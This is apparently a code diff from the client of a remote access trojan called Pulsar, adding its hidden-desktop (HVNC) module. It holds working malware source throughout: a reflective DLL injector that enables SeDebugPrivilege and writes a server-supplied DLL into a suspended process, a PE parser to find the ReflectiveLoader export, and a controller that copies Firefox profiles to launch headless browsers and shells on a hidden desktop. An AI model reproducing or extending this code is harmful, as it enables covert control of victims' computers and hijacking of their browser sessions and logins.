GetWindowRect(hwnd, out windowRect);
// Calculate window position and size
int windowX = windowRect.left;
int windowY = windowRect.top;
int windowWidth = windowRect.right - windowRect.left;
int windowHeight = windowRect.bottom - windowRect.top;
// Calculate position relative to window
POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight);
// Get hit test result to determine what part of the window was clicked
IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam);
int hitTestResultInt = hitTestResult.ToInt32();
if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP)
{
// Close button clicked
Debug.WriteLine("Closing window");
PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero);
}
else if (hitTestResultInt == HTCAPTION)
{
// Title bar clicked
if (!isUp && isLeft && msg == WM_LBUTTONDOWN)
{
// Start window move operation
lastClickCoords = clickCoords;
lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight };
isMovingWindow = true;
windowToMove = hwnd;
Debug.WriteLine("Starting window move");
}
}
else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP)
{
// Maximize/Restore button clicked
WINDOWPLACEMENT windowPlacement = default;
windowPlacement.length = Marshal.SizeOf<WINDOWPLACEMENT>(windowPlacement);
GetWindowPlacement(hwnd, ref windowPlacement);
if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0)
{
Debug.WriteLine("Restoring window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero);
}
else
{
Debug.WriteLine("Maximizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero);
}
}
else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP)
{
// Minimize button clicked
Debug.WriteLine("Minimizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero);
}
else
{
// Regular window area clicked - forward the mouse message
IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON);
IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y);
PostMessage(hwnd, msg, param, translatedLParam);
}
}
}
// Handle keyboard messages
if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR)
{
if (workingWindow != IntPtr.Zero)
{
HandleKeyboardInput(msg, wParam, lParam, workingWindow);
}
}
}
}
#endregion
#region Nested Types
/// <summary>
/// Desktop access rights flags.
/// </summary>
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
/// <summary>
/// Represents a point (x,y coordinates).
/// </summary>
public struct POINT
{
public int x;
public int y;
}
/// <summary>
/// Represents a rectangle.
/// </summary>
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
/// <summary>
/// Contains information about the placement of a window.
/// </summary>
public struct WINDOWPLACEMENT
{
public int length;
public int flags;
public int showCmd;
public POINT ptMinPosition;
public POINT ptMaxPosition;
public RECT rcNormalPosition;
}
#endregion
}
}
+857
View File
@@ -0,0 +1,857 @@
using Pulsar.Client.LoggingAPI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
internal class KDOTInjector
{
/// <summary>
/// Starts the reflective DLL injection process
/// </summary>
/// <param name="dllBytes">The DLL bytes to inject (received from server)</param>
/// <param name="exePath">Path to the executable to start and inject into</param>
/// <param name="searchPattern">Pattern to search for in the target process</param>
/// <param name="replacementPath">Replacement path for the search pattern</param>
/// <returns>Process ID of the started process, or 0 if failed</returns>
public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath)
{
try
{
if (dllBytes == null || dllBytes.Length == 0)
{
UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided");
return 0;
}
if (string.IsNullOrWhiteSpace(exePath))
{
UniversalDebugLogger.SendLogToServer("[-] No target executable specified");
return 0;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required");
return 0;
}
UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection");
UniversalDebugLogger.SendLogToServer($" Target: {exePath}");
UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}");
UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes");
PrivilegeManager.EnableDebugPrivilege();
var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath);
if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero)
{
UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process");
return 0;
}
int processId = process.Id;
UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}");
try
{
bool success = Injector.InjectDllWithHandle(hProcess, dllBytes);
if (success)
{
UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}");
UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}");
}
else
{
UniversalDebugLogger.SendLogToServer("[-] Injection failed");
Injector.CloseHandle(hProcess);
Injector.CloseHandle(hThread);
if (!process.HasExited)
{
process.Kill();
}
return 0;
}
}
finally
{
Injector.CloseHandle(hProcess);
}
UniversalDebugLogger.SendLogToServer("[+] Resuming main thread...");
ProcessManager.ResumeThreadExP(hThread);
Injector.CloseHandle(hThread);
UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes.");
return processId;
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}");
return 0;
}
}
}
/// <summary>
/// Manages process creation and interaction
/// </summary>
internal static class ProcessManager
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
private const uint CREATE_SUSPENDED = 0x00000004;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private const int STARTF_USEPOSITION = 0x00000004;
public static Process StartProcessNormal(string exePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return null;
}
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = exePath,
UseShellExecute = false,
WorkingDirectory = Path.GetDirectoryName(exePath)
};
Process process = Process.Start(psi);
return process;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return null;
}
}
private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath)
{
var envVars = Environment.GetEnvironmentVariables();
var envDict = new Dictionary<string, string>();
foreach (System.Collections.DictionaryEntry entry in envVars)
{
envDict[entry.Key.ToString()] = entry.Value.ToString();
}
envDict["RDI_SEARCH_PATH"] = searchPath;
envDict["RDI_REPLACE_PATH"] = replacePath;
var envList = new List<string>();
foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase))
{
envList.Add($"{kvp.Key}={kvp.Value}");
}
string envBlock = string.Join("\0", envList) + "\0\0";
byte[] envBytes = Encoding.Unicode.GetBytes(envBlock);
IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length);
Marshal.Copy(envBytes, 0, envPtr, envBytes.Length);
return envPtr;
}
public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
IntPtr envBlock = IntPtr.Zero;
try
{
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "PulsarDesktop";
si.dwX = 0;
si.dwY = 0;
si.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION pi;
string commandLine = $"\"{exePath}\" --window-position=0,0";
envBlock = CreateEnvironmentBlock(searchPath, replacePath);
Debug.WriteLine($"[*] Setting environment variables:");
Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}");
Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}");
bool success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT,
envBlock,
Path.GetDirectoryName(exePath),
ref si,
out pi);
if (!success)
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[-] Failed to create process. Error: {error}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
Process process = Process.GetProcessById((int)pi.dwProcessId);
return (process, pi.hProcess, pi.hThread);
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
finally
{
if (envBlock != IntPtr.Zero)
{
Marshal.FreeHGlobal(envBlock);
}
}
}
public static void ResumeThreadExP(IntPtr hThread)
{
if (hThread != IntPtr.Zero)
{
uint suspendCount = ResumeThread(hThread);
if (suspendCount == unchecked((uint)-1))
{
Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}");
}
}
}
}
/// <summary>
/// Manages Windows privileges (SeDebugPrivilege)
/// </summary>
internal static class PrivilegeManager
{
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
uint DesiredAccess,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState,
uint BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const string SE_DEBUG_NAME = "SeDebugPrivilege";
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID_AND_ATTRIBUTES Privileges;
}
public static void EnableDebugPrivilege()
{
try
{
IntPtr hToken;
if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
{
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Privileges = new LUID_AND_ATTRIBUTES
{
Attributes = SE_PRIVILEGE_ENABLED
}
};
if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid))
{
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(hToken);
}
}
catch
{
// windows basically just gave us the middle finger
}
}
}
/// <summary>
/// Handles DLL injection using reflective loading
/// </summary>
internal static class Injector
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
private const uint INFINITE = 0xFFFFFFFF;
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_WRITE = 0x0020,
PROCESS_VM_READ = 0x0010,
All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
}
[Flags]
private enum AllocationType : uint
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_READWRITE = 0x04
}
public static bool InjectDll(int processId, byte[] dllBuffer)
{
IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId);
if (hProcess == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}");
return false;
}
try
{
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
finally
{
CloseHandle(hProcess);
}
}
public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer)
{
if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0)
{
Debug.WriteLine("[-] Invalid parameters for injection");
return false;
}
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer)
{
try
{
if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0)
return IntPtr.Zero;
uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer);
if (reflectiveLoaderOffset == 0)
{
Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL");
return IntPtr.Zero;
}
IntPtr lpRemoteLibraryBuffer = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)buffer.Length,
AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT,
MemoryProtection.PAGE_EXECUTE_READWRITE);
if (lpRemoteLibraryBuffer == IntPtr.Zero)
{
Debug.WriteLine("[-] Failed to allocate memory in remote process");
return IntPtr.Zero;
}
IntPtr bytesWritten;
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten))
{
Debug.WriteLine("[-] Failed to write DLL to remote process");
return IntPtr.Zero;
}
IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset);
IntPtr threadId;
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
1024 * 1024,
lpReflectiveLoader,
IntPtr.Zero,
0,
out threadId);
return hThread;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}");
return IntPtr.Zero;
}
}
}
/// <summary>
/// Parses PE (Portable Executable) file format
/// </summary>
internal static class PEParser
{
#region PE Structures
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER32
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER64
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
}
private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b;
private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b;
#endregion PE Structures
public static uint GetReflectiveLoaderOffset(byte[] buffer)
{
try
{
int baseAddress = 0;
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset);
if (signature != 0x00004550) // "PE\0\0"
return 0;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER));
ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset);
uint exportDirRva;
if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
{
if (IntPtr.Size != 4)
return 0;
IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER32>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
{
if (IntPtr.Size != 8)
return 0;
IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER64>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else
{
return 0;
}
if (exportDirRva == 0)
return 0;
uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress);
if (exportDirOffset == 0)
return 0;
IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure<IMAGE_EXPORT_DIRECTORY>(buffer, (int)exportDirOffset);
uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress);
uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress);
uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress);
for (uint i = 0; i < exportDir.NumberOfNames; i++)
{
uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4));
uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress);
string functionName = ReadNullTerminatedString(buffer, (int)nameOffset);
if (functionName.Contains("ReflectiveLoader"))
{
ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2));
uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4));
return Rva2Offset(functionRva, buffer, baseAddress);
}
}
}
catch
{
return 0;
}
return 0;
}
private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress)
{
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader;
IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset);
if (dwRva < firstSection.PointerToRawData)
return dwRva;
for (int i = 0; i < fileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER section = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData)
{
return dwRva - section.VirtualAddress + section.PointerToRawData;
}
}
return 0;
}
private static T ByteArrayToStructure<T>(byte[] bytes, int offset) where T : struct
{
int size = Marshal.SizeOf(typeof(T));
IntPtr ptr = Marshal.AllocHGlobal(size);
try
{
Marshal.Copy(bytes, offset, ptr, size);
return (T)Marshal.PtrToStructure(ptr, typeof(T));
}
finally
{
Marshal.FreeHGlobal(ptr);
}
}
private static string ReadNullTerminatedString(byte[] buffer, int offset)
{
int length = 0;
while (offset + length < buffer.Length && buffer[offset + length] != 0)
{
length++;
}
return Encoding.ASCII.GetString(buffer, offset, length);
}
}
}
@@ -0,0 +1,870 @@
using Microsoft.Win32;
using Pulsar.Client.Helper.HVNC.Chromium;
using Pulsar.Client.LoggingAPI;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC
{
public class ProcessController
{
public ProcessController(string DesktopName)
{
this.DesktopName = DesktopName;
}
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint WAIT_OBJECT_0 = 0x00000000;
private const uint WAIT_TIMEOUT = 0x00000102;
private const uint INFINITE = 0xFFFFFFFF;
private const int STARTF_USEPOSITION = 0x00000004;
private readonly struct CloneResult
{
public CloneResult(bool success, bool cancelled, string destination)
{
Success = success;
Cancelled = cancelled;
Destination = destination ?? string.Empty;
}
public bool Success { get; }
public bool Cancelled { get; }
public string Destination { get; }
}
private static bool DeleteFolder(string folderPath)
{
bool result;
try
{
if (Directory.Exists(folderPath))
{
Directory.Delete(folderPath, true);
result = true;
}
else
{
Debug.WriteLine("Folder does not exist.");
result = false;
}
}
catch (Exception ex)
{
Debug.WriteLine("Error deleting folder: " + ex.Message);
result = false;
}
return result;
}
private void CleanupCancelledClone(string destinationDir)
{
if (string.IsNullOrWhiteSpace(destinationDir))
{
return;
}
try
{
if (Directory.Exists(destinationDir))
{
Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'");
DeleteFolder(destinationDir);
}
}
catch (Exception cleanupEx)
{
Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}");
}
}
public void StartCmd()
{
string path = "conhost cmd.exe";
this.CreateProc(path);
}
public void StartPowershell()
{
string path = "conhost powershell.exe";
this.CreateProc(path);
}
public void StartGeneric(string path)
{
string command = "conhost " + path;
this.CreateProc(command);
}
public async Task StartFirefoxAsync()
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
bool cloneSucceeded = false;
bool cloneCancelled = false;
try
{
string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox");
if (!Directory.Exists(basePath))
{
Debug.WriteLine("Firefox base directory not found.");
return;
}
string sourceDir = Path.Combine(basePath, "Profiles");
if (!Directory.Exists(sourceDir))
{
Debug.WriteLine("Firefox profiles directory not found.");
return;
}
string destination = Path.Combine(basePath, "fudasf");
if (Directory.Exists(destination))
{
DeleteFolder(destination);
}
progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
try
{
cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false);
}
catch (OperationCanceledException)
{
cloneCancelled = true;
CleanupCancelledClone(destination);
}
if (cloneCancelled)
{
Debug.WriteLine("Firefox profile cloning cancelled by user skipping launch.");
}
else if (cloneSucceeded)
{
Debug.WriteLine("Firefox profile cloned successfully.");
}
else
{
Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked.");
}
bool completedSuccessfully = cloneSucceeded && !cloneCancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
if (cloneCancelled)
{
return;
}
string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\"";
